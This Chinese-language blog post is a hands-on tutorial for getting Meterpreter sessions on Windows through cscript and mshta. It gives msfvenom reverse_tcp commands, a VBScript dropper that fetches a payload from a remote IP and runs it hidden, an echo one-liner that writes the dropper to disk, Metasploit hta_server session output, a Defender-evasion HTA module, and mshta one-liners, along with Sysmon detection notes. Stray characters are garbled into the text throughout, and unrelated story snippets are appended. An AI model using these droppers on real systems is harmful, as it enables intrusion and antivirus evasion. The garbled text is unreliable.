在Windows上執(zhí)行惡意代碼 by cscript&mshta

Windows自帶的可執(zhí)行文件+合理構(gòu)造的payload腳本=獲得會話

cscript

簡介
cscript.exe來尋找和連接腳本的運行庫虽风,最常見的有VBScriptJavaScript

WSH環(huán)境包括兩個腳本宿主:基于控制臺的CScript和基于GUI的WScript。這兩個腳本宿主提供幾乎相同的功能蟋定,在大多數(shù)情況下张弛,使用哪個腳本宿主來運行腳本并不重要绸罗。
兩個例外在于您如何與腳本交互; 也就是說意推,如何將信息輸入腳本(輸入)以及腳本如何顯示已檢索的信息(輸出)。通常珊蟀,CScript從命令提示符接收輸入并在命令窗口中顯示輸出左痢。相比之下,WScript通過圖形對話框接收輸入系洛,并在圖形消息框中顯示輸出

實踐
生成payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f vbs -o ./1.vbs略步,查看下生成的內(nèi)容(限于篇幅略去描扯,有個很長的字符串就是payload.exe

有人翻譯了一下,得到如下結(jié)果

shellcode = WScript.Arguments.Item(0)
strXML = "" & shellcode & ""
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
set oXMLDoc = nothing
 Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write decode
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe, 0, true
fso.DeleteFile(tempexe)
fso.DeleteFolder(basedir)

直接用echo的方式用一行命令往目標(biāo)機上寫入vbs文件趟薄,用^作為轉(zhuǎn)義符绽诚。但是因為shellcode字符串太長了,cmd緩沖區(qū)不夠用杭煎,于是改用MSXML2.XMLHTTP發(fā)起http請求獲取遠(yuǎn)端payload.exe后再執(zhí)行恩够。

echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

注意:直接用cscript msf.vbs http://192.168.138.142/1.txt執(zhí)行后cmd會卡住。

這樣執(zhí)行就不會 START /B cscript.exe //Nologo %temp%\msf.vbs http://192.168.138.142/1.txt

sysmon日志

  1. 執(zhí)行cscript.exe命令觸發(fā)1號事件羡铲,
  2. 經(jīng)由cscript.exe生成并執(zhí)行的payload.exe也會觸發(fā)1號事件蜂桶,
  3. 而且記錄了父進(jìn)程的命令行 ParentCommandLine: cscript.exe //Nologo C:\Users\ADMINI~1\AppData\Local\Temp\2\msf.vbs http://192.168.138.142/1.txt

將exe文件轉(zhuǎn)化成字符串,通過腳本還原成exe后也切,再用Wscript.Shell組件執(zhí)行exe扑媚。

mshta

簡介

mshta.exe腰湾,HTML Application HOST,HTML應(yīng)用程序主機疆股,hta文件解釋器(也能解釋html)费坊,就如同IE是html的解釋器,CMD是批處理文件的解釋器旬痹,WScript.exe附井、CScript.exe是vbs/js腳本的解釋器。
由于hta被設(shè)計用于本地運行两残,所以權(quán)限比html高永毅。用mshta打開html也比用IE打開能獲得更高的權(quán)限。所以本機上的HTML文件中如果調(diào)用WScript.Shell等本地對象磕昼,用IE打開會出現(xiàn)安全警告(提示有“活動內(nèi)容”什么的)卷雕,用mshta打開一般就不會有任何提示和警告了。

方法一 hta_server

hta_server 顧名思義票从,不過只能用powershell來執(zhí)行漫雕,對XP/Win2003不是很友好。

msf5 exploit(windows/misc/hta_server) > show targets 
Exploit targets:
   Id  Name
   --  ----
   0   Powershell x86
   1   Powershell x64
msf5 exploit(windows/misc/hta_server) > 
[*] Local IP: http://192.168.138.142:8080/FJw7zBrAteAzpZ.hta
[*] Server started.
[*] 192.168.138.141  hta_server - Delivering Payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 192.168.138.141
[*] Meterpreter session 1 opened (192.168.138.142:4444 -> 192.168.138.141:49187) at 2019-02-27 16:13:10 +0800

直接在windows上執(zhí)行mshta http://evil.hta即可獲得會話峰鄙。

生成的hta跟msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.138.142 lport=4444 -f hta-psh > abc.hta結(jié)構(gòu)一致浸间。

sysmon日志

  1. 執(zhí)行mshta.exe觸發(fā)1號事件,
  2. 通過mshta訪問遠(yuǎn)程evil.hta觸發(fā)3號事件吟榴,
  3. 本地會緩存evil.hta觸發(fā)11號事件(緩存地址同IE瀏覽器魁蒜,位置C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\),
  4. 執(zhí)行evil.hta后派生的powershell進(jìn)程又會觸發(fā)1號事件吩翻。

方法二 windows_defender_js_hta

windows_defender_js_hta 生成免殺的hta兜看,然后放到apache目錄下。執(zhí)行方式同上狭瞎。

evasion(windows/windows_defender_js_hta)
Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  KYr.hta          yes       Filename for the evasive file (default: random)

Description:
  This module will generate an HTA file that writes and compiles a 
  JScript.NET file containing shellcode on the target machine. After 
  compilation, the generated EXE will execute the shellcode without 
  interference from Windows Defender. It is recommended that you use a 
  payload that uses RC4 or HTTPS for best experience.

因為是先把payload代碼編譯成可執(zhí)行文件细移,然后再執(zhí)行payload.exe,從執(zhí)行命令到獲得會話會有一定的延遲熊锭。然而獲得的會話也是個殘廢(功能不全)弧轧。

sysmon日志

  1. 在緩存evil.hta文件之后,
  2. 多生成了一個evil.js文件碗殷,
  3. jsc.exeevil.js編譯成可執(zhí)行文件 CommandLine: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe" /out:C:\Users\ADMINI~1\AppData\Local\Temp\2\\gzfEQK.exe /platform:x64 /t:winexe C:\Users\ADMINI~1\AppData\Local\Temp\2\\gzfEQK.js精绎,
  4. cvtres.exe是編譯過程中的一步, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RESEDEF.tmp" "C:\Users\Administrator\AppData\Local\Temp\2\RESECF5.tmp"
  5. 執(zhí)行gzfEQK.exe 锌妻,獲得半殘會話代乃。

方法三

mshta是用來執(zhí)行hta文件的,經(jīng)過測試發(fā)現(xiàn)仿粹,其實沒有hta文件襟己,也可以通過mshta來執(zhí)行命令的引谜。

  • mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)
  • mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

用這個來獲取會話有點不太現(xiàn)實

其他遠(yuǎn)程evil.hta構(gòu)造模板

用msfvenom生成想要執(zhí)行的惡意代碼,再嵌入到構(gòu)造好hta文件中加以執(zhí)行擎浴。

Bootstrap in an HTML Application
MSBuild “Not Powershell” HTML Application
HTA Shellcode Launcher (CACTUSTORCH)
HTA Shellcode Launcher (GreatSCT)

比如GreatSCT员咽,mshta執(zhí)行只是其中的一個功能

===============================================================================
                                   Great Scott!
===============================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================

 [*] Language: installutil
 [*] Payload Module: installutil/meterpreter/rev_tcp
 [*] Executable written to: /usr/share/greatsct-output/compiled/payload.exe
 [*] Source code written to: /usr/share/greatsct-output/source/payload.cs
 [*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe
 [*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload.rc
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市贮预,隨后出現(xiàn)的幾起案子贝室,更是在濱河造成了極大的恐慌,老刑警劉巖仿吞,帶你破解...
    沈念sama閱讀 218,858評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件滑频,死亡現(xiàn)場離奇詭異,居然都是意外死亡唤冈,警方通過查閱死者的電腦和手機峡迷,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,372評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來你虹,“玉大人绘搞,你說我怎么就攤上這事「滴铮” “怎么了夯辖?”我有些...
    開封第一講書人閱讀 165,282評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長董饰。 經(jīng)常有香客問我蒿褂,道長,這世上最難降的妖魔是什么卒暂? 我笑而不...
    開封第一講書人閱讀 58,842評論 1 295
  • 正文 為了忘掉前任啄栓,我火速辦了婚禮,結(jié)果婚禮上也祠,老公的妹妹穿的比我還像新娘谴供。我一直安慰自己,他們只是感情好齿坷,可當(dāng)我...
    茶點故事閱讀 67,857評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著数焊,像睡著了一般永淌。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上佩耳,一...
    開封第一講書人閱讀 51,679評論 1 305
  • 那天遂蛀,我揣著相機與錄音,去河邊找鬼干厚。 笑死李滴,一個胖子當(dāng)著我的面吹牛螃宙,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播所坯,決...
    沈念sama閱讀 40,406評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼谆扎,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了芹助?” 一聲冷哼從身側(cè)響起堂湖,我...
    開封第一講書人閱讀 39,311評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎状土,沒想到半個月后无蜂,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,767評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡蒙谓,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年斥季,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片累驮。...
    茶點故事閱讀 40,090評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡酣倾,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出慰照,到底是詐尸還是另有隱情灶挟,我是刑警寧澤,帶...
    沈念sama閱讀 35,785評論 5 346
  • 正文 年R本政府宣布毒租,位于F島的核電站稚铣,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏墅垮。R本人自食惡果不足惜惕医,卻給世界環(huán)境...
    茶點故事閱讀 41,420評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望算色。 院中可真熱鬧抬伺,春花似錦、人聲如沸灾梦。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,988評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽若河。三九已至能岩,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間萧福,已是汗流浹背拉鹃。 一陣腳步聲響...
    開封第一講書人閱讀 33,101評論 1 271
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人膏燕。 一個月前我還...
    沈念sama閱讀 48,298評論 3 372
  • 正文 我出身青樓钥屈,卻偏偏與公主長得像,于是被迫代替她去往敵國和親坝辫。 傳聞我的和親對象是個殘疾皇子篷就,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,033評論 2 355

推薦閱讀更多精彩內(nèi)容